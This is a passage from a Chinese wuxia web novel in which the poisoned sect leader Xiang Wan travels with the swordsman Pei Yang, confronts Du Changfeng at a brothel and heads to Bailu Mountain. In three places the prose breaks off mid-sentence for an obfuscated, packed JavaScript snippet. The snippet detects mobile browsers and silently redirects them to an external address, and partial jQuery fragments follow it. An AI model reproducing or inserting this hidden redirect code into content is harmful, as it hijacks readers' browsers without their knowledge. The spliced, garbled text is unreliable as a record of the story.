彦荷恨然收回视线,三年前她在向晚面前抬不起握着刀剑的手,于是三年来她日日磨砺,可剑尖还是生生止步于她的身前,彦荷咽下喉间的血,竟再没说一句话,领着那些冬瓜细葱白菜,一声不吭地走了。 眼看着人就这么走了,向晚同样是心绪复杂,她是翻遍了脑子,也没想出这号人是何缘故与自己有这深仇大恨,只是眼下顾不得深思,那救了自己一命的男子正巧转过了身,抱拳倾身,端正道: “在下裴央,久闻梧桐阁阁主大名,今日得见,十分荣幸。” 男子头戴玉冠,眼睫黑润,身量高挑瘦削,立在那如松如竹,身着玉色绣云纹的窄身锦衣,腰间配着柄长剑,他面上方端,剑眉星目,乌发束得一丝不苟。 他的衣装俨然是个江湖人的打扮,却少见的束起了发,戴了顶莲瓣玉冠,倒是一副世家公子的派头。 裴央。 她将这名字反复嚼了几遍,倒想起些不想干的玩意。 方才所说的梧桐阁,正是向晚所立,而梧桐阁最为紧俏的生意,便是探听交易这江湖上大大小小,虚虚实实的各路消息,而孟客作为副手,便会挑其中那些个别开生面的,装在一只木匣子里带给向晚过目,向晚清楚地记得,前几日她才看到过其中一条: 说是,近日里江湖上新挑出来了个喜好劫富济贫的侠士,一手剑术清逸脱俗,竟是无人能敌,于是一来二去,名声越来越大,竟传出个天下第一的名号来,此等名号实为罕见,往来渴望与之切磋者是数不胜数,凡是与之打过照面的,又无一不被其容貌打动,于是一传十,十传百,这天下第一又传成了天下容貌第一。 这下子,原先的那伙人可不干了,江湖儿女豪情壮志,总盯着张面皮瞧是何其肤浅,而另一边也振振有词,道是君子如珩,怎会不受人仰慕,两派人马是争执不休,最终还是有个闻名四海的说书人搜肠刮肚地拟出了个清新脱俗的名号来,唤作,舍命愿陪郎,美名其曰,此人剑术天下一绝,容貌举世无双,既是舍命,也是甘愿与之切磋一二,鉴于此名号实在是过于不堪入耳,双方皆是拍案而起,同仇敌忾,此等争端便也终于偃旗息鼓。 想来让人忍俊不禁,但初次见面,向晚自不会当着人的面就笑出来,她抿了抿唇,道: “在下向晚,多谢裴公子路见不平,出手搭救。” 裴央自是不知这人脑袋里的弯弯绕绕,他笑意温和,自方才便觉得这向晚年纪轻轻便坐上了一阁之主的位子,实在是年少可为,令人佩服,他正待要开口,却见向晚狡黠一笑: “裴公子果然不负这江湖上的好名声,今日初见,果真是飘逸出尘,宛若谪仙。” 裴央脸上的笑意僵住,顿了半晌,竟自耳尖攀起一抹绯色,他轻咳一声,眼神闪躲,干巴巴地开口: “姑娘所说的,是什么名号?” 向晚自诩不是什么良善之辈。 因此问过了礼,她便觉得仪礼到位,忍不住要出言打趣,却见人满脸的不自在,耳尖的红意仿佛火烧云般向着两颊漫去,她有些意外,怎的江湖无双的裴大侠竟是个如此面皮薄的 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她其实也觉得奇怪,这孟客最是善毒,又是天生的一副好鼻子,不管是毒是药,只从他鼻下一过他便能心中有数,若依彦荷所说,此毒是早便淤在向晚体内,不知为何竟没有被孟客察觉。 她正待要开口询问,孟客适时地打了个喷嚏,再开口的声音带上了些鼻音: “属下失察,没有第一时间便发现阁主身上的毒,未能护好阁主,等回去了便自去领罚。” “中毒?” 闻言裴央有些意外: “能不能看出是什么毒?我这有临雪楼上好的丹药,能解奇毒,或许能有用。” 向晚却没应声,她轻轻皱眉,反看着孟客道: “领什么罚?梧桐阁何时有了这等规矩,更何况那彦荷有备而来,岂是想防就能防的,等你回去了,好生找些药先治一治你的风寒。” 再回过头看见裴央手脚麻利地递上来的那个小白瓷瓶,她连忙拒绝: “不劳烦裴公子了,这毒路数奇绝,寻常的丹药未必有用,还是不要白白辜负了公子的好意。” 虽是不知道裴央同这临雪楼是何关系,但这临雪楼的药千金难求,向晚还是知道的,她梧桐阁是一贫如洗,自当敬而远之。 孟客皱着眉,左右诊了好一会儿的脉,面色阴沉下来,那一脸药石无医的感觉看的向晚不禁咋舌,难不成自己就随口扯了个借口,倒真说准了是个难解的毒。 果然担心的事情总会发生,孟客把手缓缓撤回来,神色复杂地看着向晚。 向晚心里反倒觉得稀奇起来,孟客这张脸向来是冥顽不灵,能从这木头的脸上看出些情绪倒是少见,只是瞧着他面上的阴云惨淡,向晚这颗心也跟着提了起来。 果不其然,孟客默了半晌,才低低道: “属下无能,此毒实在非比寻常,照理说中毒应当才不过几日,应当不难解毒,可从脉象来看,竟已实实在在的行遍了周身经脉,经脉闭锁,毒血淤满心窍,这才导致阁主武功尽废,我,我一时半刻也瞧不出个所以然,只想到有一味药兴许能暂作缓解,若想根治,恐怕还要从长计议。” 武功尽废。 向晚一时有些晃神,后知后觉的阴冷与寒意如一双手,攥住了她的心脏。 5. 赤峰山(五) 她拧着眉坐在那里沉寂了许久,方从冰冷的寒意里找回自己的神志,这一遭变故来的太过突然,彻底打乱了她的筹划,沉默半晌,向晚才稍稍释然,接过了孟客递来的药。 那药粒黑色浑圆,吞入口中,即刻便融了,霎时间只觉得内力翻涌,经脉之间有股浊气横冲直撞,引得心口又是一阵钝痛,向晚勉强站稳身形,却还是拧着眉呕出一口血来,看得孟客心下一颤,忙抬手去扶,这番动作又扯动了身上的伤口,惹得向晚倒抽了一口凉气。 她平复了好一会,方才将体内的气息抚平,长长叹出一口气来,这毒难解便也罢了,却又叫人如此痛苦,实在磋磨。 一旁的裴央见了,更是心中恼怒,林渊楼竟得寸进尺至如此地步,实在是欺人太甚,他尚有满腔的正义,此时更是深色凛然,正色道: “向阁主,林渊楼此番行事不义,又害你受这般苦楚,近日里我一路走来,有关赤峰山的风言风语也听过不少,三年前的那场惨案明明是雨落血梅传人所为,怎么能这样无凭无据地将这此事栽赃于梧桐阁上?此事你且安心,直观好生养伤,我定会为你查清此事,还梧桐阁一个清白。” 向晚抹去嘴角的血,勉强站直了身子,听了人这番豪言壮语不禁又是抽了一口气: 怎么这雨落血梅的传人,就不能和梧桐阁的阁主是同一号人物呢...... 她向来是个随性的人,看着裴央那刚正不阿的样子便觉得头疼,可好歹此人方才也救了自己一命,总不好当真肆意妄为,叉着腰一面狞笑一面告诉他想不到吧小爷我正是那惨案的凶手,平日里带着梧桐阁更是无恶不作丧尽天良。 她倒是不在乎这些个江湖上的虚名,可是瞧着裴央的这张脸,不知为何就是开不了这个口,只得无奈道: “多谢裴公子好意,只是梧桐阁的事情还是当由梧桐阁自行解决,就不再拖累旁人了。” 裴央听出来人语气里无从掩饰的疲倦与虚弱,只当是为毒所累,不禁皱眉: “怎能说是拖累,此事既然牵扯到了林渊楼,便就是江湖事,更何况你还有伤,我定不会袖手旁观的。” 向晚苦笑,一再推辞: “我这伤不打紧,这毒,大约也暂可缓解,赤峰山的事还是不劳烦裴公子了。” “那我便与你一道吧,你运功不能,一路同行我还能帮衬一二。” “不必,实在不必劳烦裴公子。” 眼见向晚百般推辞,裴央当下板起了一张脸: “阁主不必推辞,江湖中人,路见不平拔刀相救乃是常事,更何况我钦佩阁主,更是有心与阁主结交为友的,江湖行走,义字为先,切不可执意孤僻。” 他顿了顿,又道: “阁主倒也不像那些个江湖传闻所说的那般不好相与,为何便在此事上如此推辞呢?” 向晚被他这番话说的愣然,默了半晌才反应过来,干巴巴地问道: “裴公子所说的,是何传言?” 裴央闻言神色竟有些不自然,犹豫了会才开口道: “那些个传言,现下看来倒是不可信的,只是说,梧桐阁的向阁主,是个喜怒无常,孤僻桀骜之人,且有些个与旁人不同的嗜好,大约是,阁主不喜男色,偏好与女子契若金兰。” 裴央说着,面上倒是极尽宽容之色,仿佛所言不过是穿衣吃饭这般的寻常事,只向晚听了目瞪口呆,不禁嘴角抽搐,哑然道: “谁说的我不喜男色?” 裴央一愣,幸好向晚反应迅速: “我是说,这,这都是些什么八竿子打不着的传言?裴公子是从哪里听来的?” “临雪楼,我是听临雪楼的楼主亲口所言,难道皆是空穴来风?” 就是那个丹药都卖得死贵的临雪楼? 向晚此刻也顾不上毒侵入体的痛苦了,她深吸一口气,咬牙自齿缝挤出个名字来: “度长风。” 也难怪裴央会笃信这等不着边际的传闻,这临雪楼除却售卖丹药方剂,却也是江湖之上数一数二的情报汇集地,可比这后起之秀梧桐阁要有口皆碑得多,其情报的可信度,自然是不在话下。 两家虽是同行,但却并不相冲,临雪楼的灵丹妙药举世无双,而梧桐阁的诡药奇毒同样世所罕见,且临雪楼善阳谋出护卫,梧桐阁善诡计养杀手,二者也算是井水不犯河水,向晚与这临雪楼的楼主度长风,更是至交好友,不然这谣言想必还不至于如此离谱。 裴央眨了眨眼,也觉得有些不妥,他端着小心又问了句: “那,那平素喜爱出入青楼,扬言将要掷千金只为博人一笑的传闻,也都是谣言了?” 向晚咬牙,阴恻恻道: “甚好,度长风,度楼主,当真是甚好,我现下倒是想要抛掷千金,好好看一看这度长风还能不能笑得出来。” 她倒是想不明白自己是那点得罪了这个小心眼的楼主,一旁的裴央连连行礼致歉,那好看的眉眼堆满了愧疚,却说了一句: “这样的话实在荒唐,是我多有冒犯,不如阁主便让我随行,保一路平安,权当赔罪。” 倒是叫人反驳不能。 向晚暗自叹气,心道这位既是举世无双的名门正派之徒,怎也要剑走偏锋,她有些无奈,只得应下: “那便多有劳烦了,只不过,同行可以,但裴公子需要在此等我片刻,我要去取一件东西。” 她此番不等裴央回答,便挥手叫孟客与裴央也一并等在此处,随后几个垫步,头也不回地隐没在了竹林之中。 这片竹林就生在聚灵穴的对面,竹枝掩映,细雪盖在竹叶上,林间风起的时候,雪屑便扑簌簌地落下,扑在人的额前,清清泠泠。 她想起从前,师父总是会叫她去收竹叶上的新雪,以此煎茶煮药,她便托着一口莹白的瓷瓶,点步穿梭在林叶之间,收雪入瓶,起先林间还会卷起飞雪,再后来,便是她在叶间飞跑,也不再会惊落雪片了。 练功,总是孤苦。 林间的小路弯弯绕绕,行至深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195552|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,终见一间低矮破败的泥土屋,凌乱的瓦片盖着竹草,多年不加修缮,草丝被吹落不少,砌墙的灰土也斑驳一片。 屋外用梨枝七扭八歪地围了个简陋的院子,院里院外都栽着翠竹,院落隐没于竹林间,乍然看去,竟是很难被发现。 向晚顺路而行,踏过院内的杂草,推开了那土屋的破败木门,内里萧瑟寂寥,木门推开激起尘土纷纷,她站在门口向内望去,见屋内摆置与三年前别无二致,那时候她跟着师父修习雨落血梅,原先也是住在一处的,后来弟子众多,她便独自去了这僻静之地。 空气中飘着一股腐旧的纸墨气息,混着霉味,这屋子里的地上,案上,塌上,皆是堆积如山的宣纸,上边的字迹不尽相同,瞧得出是临摹了不同的字帖,字墨连成片,像一幅朽旧的山水画。 向晚踩着一地的宣纸走进去,堂屋正中横置着一方书案,上面还摆着干涸的砚,和半卷未写完的字。 是一首亡国的词,只是还未写完,便斩了卷,墨点落在词中“梧桐”二字上,旁边便滚着一管狼毫,向晚瞧着那杆笔,似生出几分怀念来,拾来看去,笔尖干枯如乱草,自是一个字也写不出了。 她平静如水,纤长的手指摩挲着笔杆,却忽而一个使力,一掌将这管狼毫拍在案上,那管狼毫应声而碎,断裂成两截,陈旧的木桌抖下一片尘土,土沫飞扬之间,竟从这桌案下弹出来一个小小的木匣夹层。 向晚伸手向内探去,自那夹层之中摸出一只赤金水云纹的锦袋来,打眼一瞧便知并非俗品,其上纹样更是精巧,金线为枝,暖玉为花,俨然是一朵含露的海棠,袋子的系带上又缀珠宝,瞧着便价值不菲。 可她只瞧了那锦袋一眼,便是神色一顿,浓云霎时间笼上了眉间。 她沉着脸,将这锦袋的系带解开来,内里是枚墨玉镶宝的龙佩,一面镂着青龙衔珠,用了血珀替代南珠,另一面是拿金子镶成的一个“梁”字。 这佩触手生温,雕工精巧,是件难得的宝物,其上龙纹盘旋,更是昭显了其来历不凡,这一枚玉佩,正是先帝亲自赐予当时的镇国公梁允,凭此玉符,入朝不趋,剑履上殿,赞拜不名。 当年,梁家是前朝的股肱之臣,是先帝最为重信的一柄快刀。 而今,事随风去,梁家的宅子在一场大火里烧为飞灰,连同这许多年的荣耀,封赏,今时不同往日了。 向晚以手指勾勒这上面的字,她脸色并不好看,这锦袋的束口变了模样,定是被人动过了,若只是不相干的人,大费周章地寻得此玉牌,定会将其窃走换钱,可这玉却又安然无恙。 她深吸一口气,环顾四周,这屋内除却她一人的足迹,竟毫无破绽,足可见此人武功甚高,但这却也不是最为棘手之事。 向晚将玉符收入锦袋,她长出一口气,顿觉心绪烦乱。 最为棘手的是,此人所行所为,只想要向晚知道: “他自是通晓一切秘辛,身世,过往,这玉符的含义。” “他都知道。” 6. 赤峰山(六) 再回到洞口,却见裴央与孟客正分立两侧,恍若两尊守洞的门神,裴央正抱剑靠在石壁上,手里举着本薄薄的册子,他瞧的并不仔细,时不时还瞥一眼站在另一边的孟客,目光里带着些探究。 见向晚回来,裴央当即合了册子收入怀中,道出了自己的筹划: “向阁主,我方才想了,林渊楼之事既然也是江湖事,想来其最近的动向能在临雪楼得些蛛丝马迹,临雪楼好歹也是当下江湖最大的情报汇集地,是虚是实,也总比毫无头绪要好。” 向晚闻言点头,只是她心中所想却并不是要去临雪楼,方才那彦荷所言仍然历历在目,雨落血梅,想来这彦荷该是当年师父的若干弟子之一,师父做事向来谨慎,却不知这次为何留下了个侥幸之人,她对其余的同门并无再多的记忆,因此若想要知道此人身份,还是当要去问一问师父。 只是临雪楼,还是当要去上一去的。 她一面深以为然地点头,一面嘴角挂起几分阴森的笑意。 她与度长风的账可还未来得及清算。 她于是又看向孟客,梧桐阁的诸多情报皆汇集于他,或许其中能有些度长风的动向。 果不其然,孟客点头道: “确有一条,两日前才有人在端州内城城西,瞧见过度楼主带着夫人逛青楼。” “青楼?” 裴央满脸的难以置信: “他们去青楼做什么?” 孟客有些莫名地抬头瞧了他一眼,顿了顿,幽幽道: “大约是那里的饭好吃吧。” 堂堂临雪楼楼主,劫富济贫,乐善好施,其善名远博天下,现身青楼确实难得一见,更何况竟还带着夫人,更是有些诡异了。 孟客所说的这家青楼并不路远,约摸着半日便也到了,他还要赶着回去调配解药,于是此行,便就只有裴央同向晚一道。 —————————— 端州内城名曰浔明,浔明城伴水而建,舟船喧嚷,好不热闹,缘路进城,绕过几条街巷,便可见这间端州里最盛大繁荣的青楼——醉月楼。 这醉月楼的门面是雕栏画栋,极尽豪奢,一水的火红灯笼串成串,高悬楼上,鲜花香草随处生在窗扉前,檐角下,清雅的香气与女子身上的脂粉气混在一处,倒成了一种缱绻绵绵的香意。 自这雕花大门进去,内里的装潢却不似寻常风月地,进了内院,却见溪桥流水,琴筝琵琶,点茶问香,好不风雅,倒是正中了那些附庸风雅之辈的下怀。 缘着石板小桥深入,过一道月亮门,再攀十五六个木阶,至二楼的雅间里,一个面容清丽,端方文静的女子正抱着琵琶边弹边唱,细软的声音仿佛流水拂过丝绸缎面。 她唱得情意绵绵,可听众却漫不经心,那男子身上披了件绛紫色狐绒大氅,内里是件素黑的锦衣,锈了竹叶暗纹,他站在窗边,视线落在楼下长街上熙熙攘攘的人群中。 空念远弹完了琴,等了许久,也不见那男子转身,她便抱着琴站起身,乖巧地站在那人旁身侧: “江公子不喜欢琵琶?” 江既为不置可否,只含糊其辞地应了声。 她咬了咬唇,顿了顿,又硬着头皮开口道: “那不如,等下回江公子来,我给公子弹一曲春江花月夜吧。” 听了这话,江既为倒是认真地看了她一眼,他冷笑一声: “你若是骗了我,便不会再有下一次了。” 空念远抱着琴的手微微一抖,一双盈盈如水的眸子抬起来,小心翼翼地打量着面前的男人。 男人面容冷峻,眸光锐利如一把出了鞘的快刃,轻薄的两片嘴唇微微抿着,似笑非笑间带了几分桀骜。 空念远只草草打量了一眼,便被那锋利的眸光刺得收回了视线,她的目光也同样落在长街之上,见那街市远远的尽头,两道白色的身影纵马而来,快意潇洒,引得人群频频驻足。 两人行得近了些,放看清这纵马之人的面容,前者正是向晚,后面跟着的则是裴央,见此二人在这醉月楼前驻马,空念远的眼睛亮了亮,脸上多了些神色,回头看向江既为: “江公子要找的人,就是她吧。” 江既为双眼微眯,眼瞧着两人翻身下马,还未踏进醉月楼,便听得身后的门扉被叩响,是跑堂的小厮来传话: “空念远姑娘,向爷来了,赶紧收拾收拾准备好见吧。” 空念远扬声应下,又急急回过头,瞧着江既为,直到他唇角勾起,轻笑一声,挥了挥手道: “办的不错,你且去吧,没你的事了。” 空念远沉默着退去,江既为高高在上,他瞧着裴央那张风光霁月的脸,笑意里染上些讽刺,低声道: “天下第一?呵,倒还真让这天下第一给救成了。” —————————— 安置好马匹行囊,向晚同裴央两人一道踏入这粉雕玉砌的醉月楼。 柔雅的嗓音伴着琴筝咿咿呀呀,脂粉的甜香与这天仙醉的酒香扑面而来,倒冲得裴央有些头昏,他从未来过这等昏醉不知日月之地,自是会觉得不适,禁不住用手捏了捏鼻梁,试图揉散这甜腻的空气,轻轻皱起了眉。 倒是向晚颇显纯熟。 她大马金刀地站在这屋堂正中,溪桥流水之前,招手便唤来一个跑堂的伙计: “一壶天仙醉,去请空念远,还在老地方。” 那小厮点头哈腰,连声唤着向爷,匆匆而去,留下裴央满脸的难以置信,望着向晚一时说不出话来。 这对吗? 他清了清嗓子,怀疑自己是不是被这醉月楼的酒香冲昏了神志,却眼见向晚轻车熟路地登上了二楼,在她要推开那挂着天上人间牌子的厢房门扉之前,终于忍不住开口道: “向阁主,你来青楼,到底是要做什么?” 向晚一边推开门,一边笑道: “自然是为了这壶天仙醉。” 门被推开,空念远握着一柄玉箫,端着清甜的笑意,风姿款款地望着来人: “向爷今日带了朋友来?” 她眼波流转,在裴央那清俊端方的面容上停了一瞬。 向晚玩心大起: “这位公子是头回来,你多照顾下。” “那公子想听什么曲,但说无妨。” 裴央没应,他神情肃然,手足无措,见向晚大大方方地坐下来,却也不知该不该跟着坐下,向晚单手托腮,眉眼带笑,瞧了他好一会,才解释道: “好啦,裴公子不必局促,坐下便是。” 她瞧着人坐下,给人添了杯酒,又自怀中摸出只锦盒撂在桌上,招呼空念远也一并坐下来了。 那小茶案上菜色琳琅,她捏着长箸挑了几道,边吃边道: “裴公子不必误会,空念远姑娘只是寻常女子,家门不幸沦落青楼,早年将要被人所迫之时被我救下了,此后每一年,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195553|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会支给这里的老鸨银钱,且答允会安排人护这醉月楼平安,因而念远不必营生,只好生修养着便是。” 她讲桌案上的锦盒推了过去,笑道: “瞧瞧看,可还喜欢?” 那盒子里是一支玉色莹润的镯子,成色上好,空念远拿着锦盒,甜甜地道了句谢。 向晚倒是不知道这空念远从前是哪家的小姐,她不愿说,她便也不过问,只瞧她仪态端方,琴棋书画样样精通,便知不是寻常门户的女儿,向晚才刚救下空念远的那几年里,也曾想过叫她加入梧桐阁,在向晚看来,凭借自己的本事营生,总好过仰仗他人,只是空念远总是恹恹提不起兴味,久而久之,便也罢了。 她便将这空念远护在了醉月楼,梧桐阁的暗卫在醉月楼伪装成跑堂,不仅护着醉月楼的平安,也要看顾空念远,以防止有那喝醉了酒的客人对她欲行不轨,平日无事的时候,她也常带些首饰金银,稀罕玩意来送与空念远,总不至叫她身无长物,日子久了,向晚又在这醉月楼里辟出一道暗格,存了些秘辛,空念远便做了这暗格的看守。 听了这番解释,裴央也仿佛放下心来,便一同尝起这桌上的几道小菜,他是头一回来这烟花地,旁的倒不新奇,只对这精巧别致的菜色颇感兴趣,而向晚解释完,又开口道: “你这几日在这醉月楼,有没有见过一位姓度的客人,江湖打扮,身边还带着个女子。” 她想了想,又补充道: “这女子大约是会女扮男装的,有没有见过?” 空念远想了想,这姓氏独特,倒也不难忽视,不消片刻便给出了答案: “确有一位姓度的客人,身边跟这个容貌艳丽的男子,应该就是向爷您找的人,这二位客人来了也不点花听曲,似乎只是来醉月楼用饭的。” 她想了想,又补充道: “这二位今日好像也来了,此刻正在山水云间那一间房内。” 两人得了答案,当下便起身向那山水云间而去,经过花廊时,相邻的屋子忽然开了门,走出个墨袍锦衣的男子来,正与两人擦肩而过。 站在那山水云间的门口,向晚倒也没急着进去,她凝神听了一会,等确认了声音,便二话不说,推门便入。 门内二人皆是一惊,面对这不速之客,二人下意识都丢了长箸,握起桌上的剑,两道满是戒备的目光扫向门口,那位面容艳丽的小公子,长剑已出了鞘。 向晚展颜一笑,是看也没看度长风一眼: “许久未见,岳夫人别来无恙?” 这位岳夫人,便是度楼主的夫人岳然诺,同样是盛名在外的女侠,见了向晚,一双眼睛登时便亮了起来,欢欢喜喜地拉着向晚入座。 还未坐下,便瞧的这醉月楼并不算大的一张沉木团圆案上,林林总总,各式菜色是一应俱全,上到东坡肘子果木烧鸭,下到油汆丸子清烧鲥鱼,肉色灿烂,飘香十里,就是没有一点碧绿之色。 几人互相见了礼,又都落了座,向晚当即便叫人添了两副碗筷,她一面提着酒壶斟酒,一面抽空瞧了度长风一眼: “度楼主豪掷千金,这伙食可比我们梧桐阁好上太多了。” 她将千金这二字咬得痛快,度长风闻言挑了挑眉,却没应声。 见他不应,向晚又是冷哼一声,兴师问罪道: “度楼主,怎么这话不觉熟悉么?您给裴公子的消息,我到底是要为这醉月楼里的哪一位豪掷千金呢?” 7. 赤峰山(七) 度长风冷哼一声,仍是不语,倒是一边的岳然诺睁大了双眼: “什么豪掷千金?” “是先前我曾向度楼主打听过梧桐阁阁主的事情,度楼主说这位向阁主性格孤僻,尤好女色。” 裴央一五一十地讲完,听了此话的岳然诺当即愤然,她一把将筷子拍在案上,震得那东坡肘子都带着油润的光泽抖了三抖,可还没等她发问,坐在一边的度楼主便慢慢悠悠地开口了: “我是为你先前对夫人出言不敬。” 向晚又顿在那里是前思后想了许久,方才想明白,自是上回与这二位见面时,对着岳夫人有的没的夸了一箩筐,俏皮话讲多了失了分寸,当时这度楼主便一张脸黑如锅底,她在心里幽幽叹气,这度楼主也未免太小心眼了点。 度长风惧内,世人皆知,此时候正被岳夫人拧着眉毛教训,什么行走江湖,名声最为要紧,怎可红口白牙地便造上谣了云云。 度楼主迫于压力,连着道了几个不是,终于见缝插针地喘了口气,他一把拉过在一边专心用饭的裴央,急切道: “你二位千里迢迢来此,不能只是为了兴师问罪吧,到底有什么事,快说罢。” 裴央方才恍然,他这一路粥饭粗糙,现下跟着向晚连吃两顿,且还一顿强上一顿,倒叫他有些乐不思蜀了,他于是端正地放下碗筷,将这林渊楼的所行所为事无巨细地讲了个遍,讲罢了,合掌道: “我们此番前来,正是想来问问有没有林渊楼的消息,林渊楼的老掌门我也曾见过,虽说不上门规森严,但这般加害下毒之事,总不至发生,更何况又是这般厉害的毒。” 他尤是皱眉,有些担忧地看了看向晚,只是向晚浑然不觉,她正细心去择那鲥鱼的刺,无暇顾及。 度长风闻言也是一本正经起来,他端走向晚跟前的鱼,将人的手腕扯过来,细细听起了脉,度楼主医术高明,临雪楼那些个死贵的丹药大都出自他手,只是听了会,神色愈发凝重: “孟客也无能为力吗?” 向晚只摇了摇头,收回手,顺路又将那碟葱烧鳝段端得近了些。 “她梧桐阁的孟客制毒解毒都是一绝,若是他也没了办法,那确实是有些严重了。” 他话音刚落,岳夫人便高声点了几个人名,登时几人便闻讯推门而入,一水的白衣胜雪,皆是临雪楼弟子,瞧这临雪楼的楼主如此拖家带口声势浩大地来一青楼用饭,向晚忍俊不禁,不慎呛了口,坐在一边的裴央目不斜视,却推过来了一盏茶水。 向晚一顿,接过茶水道了谢,两人便看着这白衣如云的临雪楼弟子进进出出,足足盘问了有三五轮,方才听明白了这事的来龙去脉。 原是这林渊楼,果然换了掌门。说是老掌门上了年岁,忽觉此一生都献给了武学修行,还未来得及看遍这大好河山,实属遗憾,于是长袖一甩,云游去也,而新上任的这位,摩拳擦掌,运筹帷幄,誓要带领林渊楼走上一个新高度,于是招兵买马,揽贤纳士,还真请到了位高深莫测的幕僚,姓江。 这位姓江的幕僚,又带着一位高手,两人配合得天衣无缝,起先做的也是些惩恶扬善的好事,可近日来却渐渐变了味,先是杜撰了赤峰山一事,后来竟又干出加害下毒这般勾当,只奈何二人智勇双全,这位胸怀大志的新楼主实难阻挠,无奈只能悄默声地遍寻高手,要除此二人,挽救林渊楼的名声呢。 此事查明,裴央更是心中叹息,他颇为心疼地又看向向晚这名义上的最大受害者,默不作声地将度长风跟前那碟东坡肘子肉也一并端到了向晚跟前,向晚欣然受下,毫不客气地尝了一口,只觉入口即化,脂香四溢,便向裴央回以感激的目光。 只是她心里想的,倒不是这般简单。 她料想这位高手便是彦荷,只是这姓江的幕僚,又是哪一位?彦荷与自己有杀身之仇,设计要来取自己性命,很是合理,那这江姓幕僚,又起了何种作用呢? 辅佐?亦或是,这根本就是这幕僚的筹划之一? 他又有何缘故要帮助彦荷呢? 此事表面上瞧着是林渊楼的处事不当,可她总隐隐觉得,这涉局二人皆是为着自己而来,左右想不明白,觉得还是应当先去见一见师父,弄清这彦荷的身份才是。 道清原委,却还是无处下手,如今敌明我暗,几人一时也想不出个所以然,于是向晚适时地撂下了碗筷,清了清嗓子,开口编道: “我师父山明先生,从前最是与林渊楼老掌门交好,因而林渊楼之事也多有了解,他老人家现下正归隐在白鹿山,不如再去一趟白鹿山,或有收获。” 这自然是随口编的,总不能真的堂而皇之地讲出山明先生这老头儿正是贼祸头子,赤峰山血案的始作俑者之一。 几人也是无有他法,只得赞同,于是向晚与裴央便酒足饭饱,告别了二位,向白鹿山纵马去也。 —————————— 白鹿山算是座名副其实的仙山,它不同于赤峰山,虽说赤峰山的朝霞也是瑰丽好看,但是经了三年前的那一遭血腥,到底也带了些阴沉诡异,往日里为看那霞光披覆山尖的而远道而来的行客,也寥寥无几了。 白鹿山因曾有人在山上林间瞧见过一只白鹿而得名,白鹿是祥瑞,因而人们觉得这山也会带来好运,于是后来山上修了求签灵验的道观,向晚的师父山明先生,也将隐居之地选在了此处。 两人一路顺着山间石阶而上,白鹿虽是一只不见,但旁的这些奇花异草,飞禽走兽,倒是数不胜数,难怪孟客不过几日便要来白鹿山走一遭,原以为是去看望师父,现在想来兴许是醉翁之意不在酒。 如今奇毒在身,向晚反而不着急了,她一路走一路看,白鹿山的景致神妙,她往日要么是腻在东风客栈写字,要么是东奔西跑地寻仇杀人,实在没这般雅兴游山玩水,就连平日来找师父,都是匆匆而来,匆匆而去的。 风景秀雅,同行者更是器宇不凡,裴央的武功不愧是举世无双,爬个山是面不红气不喘,且目不斜视,一派端正,新雪初融的凉意沁在风里,吹过他的衣角,更衬得他宛若谪仙。 向晚忽然心生好奇,想知道这举世无双的功法师出何门,便开口问道: "还未问过,公子修的是何剑法?" “云鹤剑诀。” 裴央侧目,将人上下打量了一番,向晚那身毒使她运功不能,于是连爬山这等寻常事都叫她有些吃力,两人爬到半山腰,不过半日,向晚便气息紊乱,大汗满头了。 他于是有意放缓了步子,继续搭话道: “姑娘可有耳闻?” 向晚喘匀了一口气,想了想道: “公子这门派里,似乎有把传世的宝剑,唤作承影?” 她对这门派之间鸡零狗碎的恩恩怨怨了解不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195554|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是哪一家有个什么宝贝,哪一派又有个什么法宝,倒是了如指掌。 裴央闻言有些意外地停下脚步: “姑娘倒是消息灵通,不愧为梧桐阁阁主。” 他解下腰间佩剑,只见剑鞘通体素黑,只雕了些暗色的花纹,他手握剑柄,嗡然一声,雪亮的剑刃出鞘,映射天光亮白一瞬,片刻才瞧清这剑刃上雕着的蟠螭纹。 倒是没想到这柄承影就在裴央手中,向晚有些意外,盯着那剑瞧了许久,才欣然笑道: “见识了。” 两人步速渐缓,她也不再那般气喘,得空又道: “我记得修习云鹤剑诀,最倚重修心,行剑之人必得心如止水,方才能施展这剑法的全部实力。” “不错。” 裴央收了剑,点头道: “不仅是练功之时,平日里也需得平心静气,忌骄忌躁,所以我们师门的师兄弟们,常好个点香插花的,修养秉性。” “点香插花?裴公子会这些?” 这大多都是女子的喜好,向晚一想到这门派里那些个五大三粗的男子也都排排坐学插花,不免觉得有些好笑。 “我倒不会这些,我平素里喜欢垂钓。” 提起喜好,裴央心情不错: “垂钓最养心性,人若是能静下心来钓好了鱼,做什么都会成功。” 